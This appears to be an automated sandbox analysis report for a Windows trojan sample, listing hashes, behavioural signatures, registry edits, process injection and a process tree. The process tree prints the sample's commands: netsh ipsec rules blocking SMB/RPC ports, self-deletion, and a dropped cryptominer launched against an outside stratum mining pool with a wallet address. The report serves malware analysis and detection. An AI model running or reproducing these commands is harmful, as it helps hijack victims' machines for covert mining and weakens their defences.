Analysis
- max time kernel
73s - max time network
151s - platform
windows10_x64 - resource
win10v20201028 - submitted
28/11/2020, 12:45
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe
- Size 2.0MB
- Sample201128-xvddbmgbej
- SHA256 9f13e6628458992b3e633cd3f51e876e7146ed4ce06074ff9ab394cc248d7982
- MD5 5d2e9716be941d7c77c05947390de736
- SHA1 686f0089050e1013ffd80d81193b6f992b471c34
- SHA512 7c327c47d583b06ba97529ec6fde38ee7b44e55320fae836203fcb5f6d2b71f1c86ea690f0fce5099502fbf28a93a3d9f6800a29cbeb40c745c02c38c712c63d
- MD5 SHA1 SHA512
Score
9/10
Malware Config
Signatures
- Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
- Executes dropped EXE 1 IoCs
pid Process 3020 wudfhosts.exe - Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000200000001ab78-21.dat upx behavioral2/files/0x000200000001ab78-23.dat upx - Loads dropped DLL 1 IoCs
pid Process 3932 svchost.exe - Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE svchost.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies svchost.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 svchost.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\Update[1].txt svchost.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 svchost.exe - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3932 set thread context of 1500 3932 svchost.exe 102 - Drops file in Windows directory 5 IoCs
description ioc Process File created C:\Windows\Cursors\WUDFhosts.exe SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe File created C:\Windows\Help\active_desktop_render_New.dll svchost.exe File opened for modification C:\Windows\Help\active_desktop_render.dll svchost.exe File created C:\Windows\Help\active_desktop_render.dll SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe File opened for modification C:\Windows\Cursors\WUDFhosts.exe SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe - Modifies data under HKEY_USERS 8 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe 1500 svchost.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeRestorePrivilege 1500 svchost.exe Token: SeBackupPrivilege 1500 svchost.exe Token: SeSecurityPrivilege 1500 svchost.exe Token: SeTakeOwnershipPrivilege 1500 svchost.exe Token: SeLockMemoryPrivilege 3020 wudfhosts.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 1500 svchost.exe 1500 svchost.exe - Suspicious use of WriteProcessMemory 48 IoCs
description pid Process procid_target PID 580 wrote to memory of 3920 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 75 PID 580 wrote to memory of 3920 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 75 PID 580 wrote to memory of 3920 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 75 PID 580 wrote to memory of 2948 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 77 PID 580 wrote to memory of 2948 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 77 PID 580 wrote to memory of 2948 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 77 PID 580 wrote to memory of 2744 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 79 PID 580 wrote to memory of 2744 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 79 PID 580 wrote to memory of 2744 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 79 PID 580 wrote to memory of 2704 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 81 PID 580 wrote to memory of 2704 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 81 PID 580 wrote to memory of 2704 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 81 PID 580 wrote to memory of 1528 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 83 PID 580 wrote to memory of 1528 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 83 PID 580 wrote to memory of 1528 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 83 PID 580 wrote to memory of 640 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 85 PID 580 wrote to memory of 640 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 85 PID 580 wrote to memory of 640 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 85 PID 580 wrote to memory of 3844 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 87 PID 580 wrote to memory of 3844 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 87 PID 580 wrote to memory of 3844 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 87 PID 580 wrote to memory of 3704 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 89 PID 580 wrote to memory of 3704 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 89 PID 580 wrote to memory of 3704 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 89 PID 580 wrote to memory of 3188 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 93 PID 580 wrote to memory of 3188 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 93 PID 580 wrote to memory of 3188 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 93 PID 580 wrote to memory of 1180 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 95 PID 580 wrote to memory of 1180 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 95 PID 580 wrote to memory of 1180 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 95 PID 580 wrote to memory of 3584 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 97 PID 580 wrote to memory of 3584 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 97 PID 580 wrote to memory of 3584 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 97 PID 580 wrote to memory of 3928 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 100 PID 580 wrote to memory of 3928 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 100 PID 580 wrote to memory of 3928 580 SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe 100 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 3932 wrote to memory of 1500 3932 svchost.exe 102 PID 1500 wrote to memory of 3020 1500 svchost.exe 103 PID 1500 wrote to memory of 3020 1500 svchost.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe"1⤵
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:580 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Block2⤵PID:3920
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filterlist name=Filter12⤵PID:2948
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2744
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2704
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:1528
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵PID:640
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:3844
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:3704
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=FilteraAtion1 action=block2⤵PID:3188
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Block filterlist=Filter1 filteraction=FilteraAtion12⤵PID:1180
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Block assign=y2⤵PID:3584
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.42354.4673.5766.exe"2⤵PID:3928
-
-
\??\c:\windows\syswow64\svchost.exec:\windows\syswow64\svchost.exe -k graphicsperf_svcsgroup -s GraphicsPerf_Svcs1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\SysWOW64\svchost.exeC:\Windows\system32\svchost.exe2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\Cursors\wudfhosts.exeC:\Windows\Cursors\wudfhosts.exe -o stratum+tcp://pool.usa-138.com:80 -u 4B7yFmYw2qvEtWZDDnZVeY16HHpwTtuYBg6EMn5xdDbM3ggSEnQFDWDHH6cqdEYaPx4iQvAwLNu8NLc21QxDU84GGxZEY7S -p x3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3020
-
-